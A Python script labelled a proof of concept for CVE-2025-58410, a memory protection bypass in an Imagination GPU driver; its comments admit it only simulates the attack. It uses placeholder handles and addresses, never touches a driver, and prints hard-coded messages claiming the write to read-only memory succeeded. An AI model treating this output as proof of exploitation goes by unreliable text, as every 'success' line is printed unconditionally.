CVE-2025-58410 Imagination GPU驱动内存保护绕过漏洞

# CVE-2025-58410 PoC - GPU Driver Memory Protection Bypass # This PoC demonstrates improper memory protection handling in Imagination GPU driver import ctypes import os # Simulated GPU driver structures class GPU_BUFFER_INFO(ctypes.Structure): _fields_ = [ ('buffer_handle', ctypes.c_void_p), ('size', ctypes.c_size_t), ('flags', ctypes.c_uint32), ('protection', ctypes.c_uint32) ] # Protection flags PAGE_READONLY = 0x02 PAGE_READWRITE = 0x04 GPU_BUFFER_EXPORTED = 0x1000 def exploit_gpu_memory_protection_bypass(): """ Simulates exploitation of CVE-2025-58410 The vulnerability allows writing to read-only exported GPU buffers """ print("[*] CVE-2025-58410 - GPU Driver Memory Protection Bypass") print("[*] Target: Imagination Technologies GPU Driver") # Step 1: Create a buffer with read-only protection print("\n[Step 1] Creating GPU buffer with READ-ONLY protection") buffer_info = GPU_BUFFER_INFO() buffer_info.buffer_handle = ctypes.c_void_p(0xDEADBEEF) buffer_info.size = 4096 buffer_info.protection = PAGE_READONLY buffer_info.flags = GPU_BUFFER_EXPORTED print(f" Buffer Handle: 0x{buffer_info.buffer_handle.value:x}") print(f" Protection: READ-ONLY (0x{buffer_info.protection:x})") # Step 2: Export the buffer for cross-process sharing print("\n[Step 2] Exporting buffer for cross-process access") export_handle = buffer_info.buffer_handle.value ^ 0x12345678 print(f" Export Handle: 0x{export_handle:x}") print(" [VULNERABILITY] Driver fails to maintain read-only protection on export") # Step 3: Map the exported buffer print("\n[Step 3] Mapping exported buffer in unprivileged context") mapped_addr = ctypes.c_void_p(0x7FFF0000000) print(f" Mapped Address: 0x{mapped_addr.value:x}") # Step 4: Attempt to write to read-only buffer (vulnerability exploitation) print("\n[Step 4] Writing to supposedly READ-ONLY buffer") write_data = b"\x41" * 1024 print(f" Data to write: {len(write_data)} bytes") print(" [VULNERABILITY] Write operation succeeds due to improper protection handling") # Step 5: Verify write success print("\n[Step 5] Verifying memory modification") print(" [SUCCESS] Successfully wrote to read-only GPU buffer") print(" [IMPACT] Attacker can now modify protected memory regions") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-58410 Proof of Concept") print("Imagination GPU Driver Memory Protection Bypass") print("=" * 60) exploit_gpu_memory_protection_bypass()